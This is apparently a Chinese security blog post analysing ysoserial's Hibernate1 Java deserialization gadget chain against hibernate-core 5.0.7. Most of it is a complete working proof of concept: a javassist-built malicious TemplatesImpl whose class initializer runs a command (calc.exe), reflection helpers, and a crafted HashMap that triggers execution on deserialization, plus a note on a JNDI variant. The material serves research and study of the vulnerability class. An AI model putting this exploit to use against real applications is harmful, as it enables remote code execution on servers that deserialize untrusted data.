近来对ysoserial源码很感兴趣,之前分析java链子都是看别人的文章。今天以hibernate为例子,阅读下yso的源码。
环境:java8
maven:
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-core</artifactId>
<version>5.0.7.Final</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.25.0-GA</version>
</dependency>
</dependencies>
首先是先把利用链看懂:
- org.hibernate.property.access.spi.GetterMethodImpl.get()
- org.hibernate.tuple.component.AbstractComponentTuplizer.getPropertyValue()
- org.hibernate.type.ComponentType.getPropertyValue(C)
- org.hibernate.type.ComponentType.getHashCode()
- org.hibernate.engine.spi.TypedValue$1.initialize()
- org.hibernate.engine.spi.TypedValue$1.initialize()
- org.hibernate.internal.util.ValueHolder.getValue()
- org.hibernate.engine.spi.TypedValue.hashCode()
我们倒着分析。中途会利用工具luyten查询jar包中的字符串。
GetterMethodImpl#get():
如图,此处直接一个getterMethod的invoke,可以考虑打TemplatesImpl链或者JNDI注入。
接下来是寻找哪里调用了get方法。
结果太多了,我们换个方法:
既然GetterMethodImpl是继承Getter类,直接搜Getter。
这次的结果少很多,第一页就可以找到。
其getPropertyValue含有调用了get
然后结合着调用栈继续往上查。
这里出现了hashCode,立马可以往CC链上想,可以尝试。
这里是一个匿名类。
然后继续寻找调用initialize的类
最后在:
org.hibernate.engine.spi.TypedValue.hashCode()调用了这个getValue方法。
(基本都是看着链子走的,从零开始找感觉工程量挺浩大的)
这下就明了了,这是CC6的调用栈,完全就可以接上了。
CC6调用栈部分如图:
至此hibernate调用链分析完毕,接下来看看yso怎么写poc的。如果我按照自己的思路写,又会有什么不同?
传进去了Hibernate1.class, 也就是自己。
跟进去看一看:
实例化clazz,并调用getObject,入口点就是这个方法了。
getObject简单分为了三步:
Gadgets#createTemplatesImpl yso的实现比较麻烦点,这里给出我自己的。可以作为参考。
public class Gadgets {
public static Object createTemplatesImpl() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
return templatesImpl;
}
public static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
这里是javassist创建恶意TemplatesImpl对象的相关知识,不做解释了,详细可以参阅其他优秀文章。
然后就是第二步makeGetter,这里做了版本判断:
我们这里用的5,直接看5:
利用GetterMethodImpl的构造函数实例化对象,然后放入Getter数组,这个Getter数组以后要放到这:
我的评价是,有点麻烦了。
// get gadgets
Object tpl = (TemplatesImpl) Gadgets.createTemplatesImpl();
Class tplClass = tpl.getClass();
Class getter = Class.forName("org.hibernate.property.access.spi.Getter");
Object g = new GetterMethodImpl(tplClass, "test", tplClass.getDeclaredMethod("getOutputProperties"));
//创建Getter数组
Object getters = Array.newInstance(getter, 1);
Array.set(getters, 0, g);
这样也可以运行。
然后到了makeCaller了。
首先是这个AbstractComponentTuplizer, 找下他的子类。yso用的是PojoComponentTuplizer。
首先是一个新技术,createWithoutConstructor。
pojo类要实例化的话参数老多了,能不能绕过构造方法直接实例化,答案是可以的。
利用ReflectionFactory。
然后把getter丢进去就好了,但是这里出现了一个问题。yso用的是他自己写的Reflection类,我平常用的是比较简单的setFieldValue
public static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
这个方法并不能设置父类属性,运行会报错。所以改了下,可以用这个:
public static void setFieldValueExtend(Object obj, Class clazz, String field, Object arg) throws Exception {
Field f = clazz.getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
接下来就没什么好说的了,一层套一层设置值就完事了。
AbstractComponentTuplizer tup = createWithoutConstructor(PojoComponentTuplizer.class);
setFieldValueExtend(tup, AbstractComponentTuplizer.class, "getters", getters);
ComponentType t = createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
setFieldValue(t, "componentTuplizer", tup);
setFieldValue(t, "propertySpan", 1);
setFieldValue(t, "propertyTypes", new Type[] {
t
});
TypedValue v1 = new TypedValue(t, null);
setFieldValue(v1, "value", tpl);
setFieldValue(v1, "type", t);
*关于TypedValue:yso还设置了两个,可以简化下。一个就够了。
最后是装填进hashMap。这里又遇到了一个问题,如果直接new一个hashMap然后put进去,会报NPE.
还有就是在装填的过程中,本地还会执行一遍,即使解决了NPE,本地也还执行一遍。看看ysoserial是怎么解决的:
他直接自己写了个makeMap,通过反射来创建hashMap。就不会因为put方法导致本地执行了。
我tm直接复制粘贴。完整POC如下:
POC.java:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.hibernate.engine.spi.TypedValue;;
import org.hibernate.property.access.spi.GetterMethodImpl;
import org.hibernate.tuple.component.AbstractComponentTuplizer;
import org.hibernate.tuple.component.PojoComponentTuplizer;
import org.hibernate.type.AbstractType;
import org.hibernate.type.ComponentType;
import org.hibernate.type.Type;
import sun.reflect.ReflectionFactory;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;
import java.util.HashMap;
public class POC {
public static void main(String[] args) throws Exception {
// get gadgets
Object tpl = (TemplatesImpl) Gadgets.createTemplatesImpl();
Class tplClass = tpl.getClass();
Class getter = Class.forName("org.hibernate.property.access.spi.Getter");
Object g = new GetterMethodImpl(tplClass, "test", tplClass.getDeclaredMethod("getOutputProperties"));
//创建Getter数组
Object getters = Array.newInstance(getter, 1);
Array.set(getters, 0, g);
AbstractComponentTuplizer tup = createWithoutConstructor(PojoComponentTuplizer.class);
setFieldValueExtend(tup, AbstractComponentTuplizer.class, "getters", getters);
ComponentType t = createWithConstructor(ComponentType.class, AbstractType.class, new Class[0], new Object[0]);
setFieldValue(t, "componentTuplizer", tup);
setFieldValue(t, "propertySpan", 1);
setFieldValue(t, "propertyTypes", new Type[] {
t
});
TypedValue v1 = new TypedValue(t, null);
setFieldValue(v1, "value", tpl);
setFieldValue(v1, "type", t);
HashMap hashMap = makeMap(v1, "String");
//HashMap hashMap = new HashMap();
//hashMap.put("ff",v1);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
objectOutputStream.writeObject(hashMap);
ObjectInputStream objectInputStream = new ObjectInputStream(new ByteArrayInputStream(byteArrayOutputStream.toByteArray()));
objectInputStream.readObject();
}
public static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
//上面那个方法没办法设置父类的Field,故用这个函数。
public static void setFieldValueExtend(Object obj, Class clazz, String field, Object arg) throws Exception {
Field f = clazz.getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
public static <T> T createWithoutConstructor ( Class<T> classToInstantiate )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
return createWithConstructor(classToInstantiate, Object.class, new Class[0], new Object[0]);
}
public static <T> T createWithConstructor ( Class<T> classToInstantiate, Class<? super T> constructorClass, Class<?>[] consArgTypes, Object[] consArgs )
throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException {
Constructor<? super T> objCons = constructorClass.getDeclaredConstructor(consArgTypes);
objCons.setAccessible(true);
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(classToInstantiate, objCons);
sc.setAccessible(true);
return (T)sc.newInstance(consArgs);
}
public static HashMap makeMap (Object v1, Object v2 ) throws Exception, ClassNotFoundException, NoSuchMethodException, InstantiationException,
IllegalAccessException, InvocationTargetException {
HashMap s = new HashMap();
setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setFieldValue(s, "table", tbl);
return s;
}
}
Gadgets.java:
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.HashMap;
public class Gadgets {
public static Object createTemplatesImpl() throws Exception{
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("i");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody("Runtime.getRuntime().exec(\"calc.exe\");");
byte[] bytes = ctClass.toBytecode();
TemplatesImpl templatesImpl = new TemplatesImpl();
setFieldValue(templatesImpl, "_bytecodes", new byte[][]{bytes});
setFieldValue(templatesImpl, "_name", "a");
setFieldValue(templatesImpl, "_tfactory", null);
return templatesImpl;
}
public static void setFieldValue(Object obj, String field, Object arg) throws Exception{
Field f = obj.getClass().getDeclaredField(field);
f.setAccessible(true);
f.set(obj, arg);
}
}
至此POC编写告一段落,运行结果:
JdbcRowSetImpl:
分析完后这块就很简单了,只需要修改如下部分即可。
复现时,注意切换到低版本jdk。